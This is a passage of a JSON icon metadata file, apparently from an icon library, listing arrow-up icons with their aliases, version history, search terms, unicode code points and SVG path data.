        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM450.7 294c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V364.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zm-5-145.1A32 32 0 1 0 418.3 91a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 192.4 344 159.2 344 120c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 251c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM450.7 294c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V364.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zm-5-145.1A32 32 0 1 0 418.3 91a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 192.4 344 159.2 344 120c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 251c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-a-z": {
    "aliases": {
      "names": ["sort-alpha-up"],
      "unicodes": {
        "secondary": ["10f15e"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-desc"]
    },
    "styles": ["solid"],
    "unicode": "f15e",
    "label": "Arrow Up A Z",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 320c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zM416 32c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 38.8 428.1 32 416 32zM395.8 176L416 135.6 436.2 176H395.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 320c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zM416 32c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 38.8 428.1 32 416 32zM395.8 176L416 135.6 436.2 176H395.8z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-from-bracket": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["share", "transfer", "upload"]
    },
    "styles": ["solid"],
    "unicode": "e09a",
    "label": "Arrow Up From Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M246.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 109.3V320c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 53 43 96 96 96H352c53 0 96-43 96-96V352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M246.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 109.3V320c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 53 43 96 96 96H352c53 0 96-43 96-96V352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V352z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-from-ground-water": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["groundwater", "spring", "water supply", "water table"]
    },
    "styles": ["solid"],
    "unicode": "e4b5",
    "label": "Arrow Up From Ground Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 352c17.7 0 32-14.3 32-32V109.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V320c0 17.7 14.3 32 32 32zm-18.5 69.9C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM192 192H48c-26.5 0-48 21.5-48 48V425c5.3-3.1 11.2-5.4 17.5-6.9c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.1 20.3V192zm384 48c0-26.5-21.5-48-48-48H384V416.5h0c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c6.3 1.5 12.1 3.8 17.5 6.9V240z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 352c17.7 0 32-14.3 32-32V109.3l25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V320c0 17.7 14.3 32 32 32zm-18.5 69.9C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1c-11.1-7.9-25.9-7.9-37 0zM192 192H48c-26.5 0-48 21.5-48 48V425c5.3-3.1 11.2-5.4 17.5-6.9c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.1 20.3V192zm384 48c0-26.5-21.5-48-48-48H384V416.5h0c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c6.3 1.5 12.1 3.8 17.5 6.9V240z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-from-water-pump": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flood", "groundwater", "pump", "submersible", "sump pump"]
    },
    "styles": ["solid"],
    "unicode": "e4b6",
    "label": "Arrow Up From Water Pump",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 0C85.5 0 64 21.5 64 48V256H48c-26.5 0-48 21.5-48 48v96c0 8 2 15.6 5.4 22.2c3.8-1.7 7.8-3.1 12-4.1c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c4.2 1 8.2 2.4 12 4.1C574 415.6 576 408 576 400V304c0-26.5-21.5-48-48-48H480l0-146.7 25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 109.3 416 256H288V48c0-26.5-21.5-48-48-48H112zM306.5 421.9c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 0C85.5 0 64 21.5 64 48V256H48c-26.5 0-48 21.5-48 48v96c0 8 2 15.6 5.4 22.2c3.8-1.7 7.8-3.1 12-4.1c13.1-3.1 26.7-9.8 37.3-18.6c22.2-18.7 54.3-20.1 78.1-3.4c18 12.4 40.1 20.3 59.2 20.3c21.1 0 42-8.5 59.2-20.3c22.1-15.5 51.6-15.5 73.7 0c18.4 12.7 39.6 20.3 59.2 20.3c19 0 41.2-7.9 59.2-20.3c23.8-16.7 55.8-15.3 78.1 3.4c10.6 8.8 24.2 15.6 37.3 18.6c4.2 1 8.2 2.4 12 4.1C574 415.6 576 408 576 400V304c0-26.5-21.5-48-48-48H480l0-146.7 25.4 25.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-80-80c-12.5-12.5-32.8-12.5-45.3 0l-80 80c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 109.3 416 256H288V48c0-26.5-21.5-48-48-48H112zM306.5 421.9c-11.1-7.9-25.9-7.9-37 0C247 437.4 219.5 448 192 448c-26.9 0-55.3-10.8-77.4-26.1l0 0c-11.9-8.5-28.1-7.8-39.2 1.7c-14.4 11.9-32.5 21-50.6 25.2c-17.2 4-27.9 21.2-23.9 38.4s21.2 27.9 38.4 23.9c24.5-5.7 44.9-16.5 58.2-25C126.5 501.7 159 512 192 512c31.9 0 60.6-9.9 80.4-18.9c5.8-2.7 11.1-5.3 15.6-7.7c4.5 2.4 9.7 5.1 15.6 7.7c19.8 9 48.5 18.9 80.4 18.9c33 0 65.5-10.3 94.5-25.8c13.4 8.4 33.7 19.3 58.2 25c17.2 4 34.4-6.7 38.4-23.9s-6.7-34.4-23.9-38.4c-18.1-4.2-36.2-13.3-50.6-25.2c-11.1-9.4-27.3-10.1-39.2-1.7l0 0C439.4 437.2 410.9 448 384 448c-27.5 0-55-10.6-77.5-26.1z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-long": {
    "aliases": {
      "names": ["long-arrow-up"],
      "unicodes": {
        "secondary": ["10f176"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["long-arrow-up", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f176",
    "label": "Arrow Up Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M214.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M214.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3V480c0 17.7 14.3 32 32 32s32-14.3 32-32V109.3l73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-right-dots": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["growth", "increase", "population"]
    },
    "styles": ["solid"],
    "unicode": "e4b7",
    "label": "Arrow Up Right Dots",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h50.7L9.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V160c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H160zM576 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM448 208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm128 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM272 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM144 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM576 336a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-48-80a48 48 0 1 0 0-96 48 48 0 1 0 0 96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h50.7L9.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L256 109.3V160c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H160zM576 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM448 208a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm128 0a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM272 384a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm48 80a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM144 512a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM576 336a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm-48-80a48 48 0 1 0 0-96 48 48 0 1 0 0 96z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-right-from-square": {
    "aliases": {
      "names": ["external-link"],
      "unicodes": {
        "secondary": ["10f08e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["new", "open", "send", "share"]
    },
    "styles": ["solid"],
    "unicode": "f08e",
    "label": "Arrow Up Right From Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-short-wide": {
    "aliases": {
      "names": ["sort-amount-up-alt"],
      "unicodes": {
        "secondary": ["10f885"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "order", "sort-amount-desc"]
    },
    "styles": ["solid"],
    "unicode": "f885",
    "label": "Arrow Up Short Wide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320zm0 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-wide-short": {
    "aliases": {
      "names": ["sort-amount-up"],
      "unicodes": {
        "secondary": ["10f161"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "order", "sort-amount-desc"]
    },
    "styles": ["solid"],
    "unicode": "f161",
    "label": "Arrow Up Wide Short",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 480h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M151.6 42.4C145.5 35.8 137 32 128 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L96 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 480h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32zm0-128H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H320c-17.7 0-32 14.3-32 32s14.3 32 32 32z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-z-a": {
    "aliases": {
      "names": ["sort-alpha-up-alt"],
      "unicodes": {
        "secondary": ["10f882"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alphabetical", "arrange", "filter", "order", "sort-alpha-desc"]
    },
    "styles": ["solid"],
    "unicode": "f882",
    "label": "Arrow Up Z A",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 64c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zm96 192c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 262.8 428.1 256 416 256zM395.8 400L416 359.6 436.2 400H395.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M183.6 42.4C177.5 35.8 169 32 160 32s-17.5 3.8-23.6 10.4l-88 96c-11.9 13-11.1 33.3 2 45.2s33.3 11.1 45.2-2L128 146.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V146.3l32.4 35.4c11.9 13 32.2 13.9 45.2 2s13.9-32.2 2-45.2l-88-96zM320 64c0 17.7 14.3 32 32 32h50.7l-73.4 73.4c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H429.3l73.4-73.4c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H352c-17.7 0-32 14.3-32 32zm96 192c-12.1 0-23.2 6.8-28.6 17.7l-64 128-16 32c-7.9 15.8-1.5 35 14.3 42.9s35 1.5 42.9-14.3l7.2-14.3h88.4l7.2 14.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9l-16-32-64-128C439.2 262.8 428.1 256 416 256zM395.8 400L416 359.6 436.2 400H395.8z"
      }
    },
    "free": ["solid"]
  },
  "arrows-down-to-line": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["scale down", "sink"]
    },
    "styles": ["solid"],
    "unicode": "e4b8",
    "label": "Arrows Down To Line",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
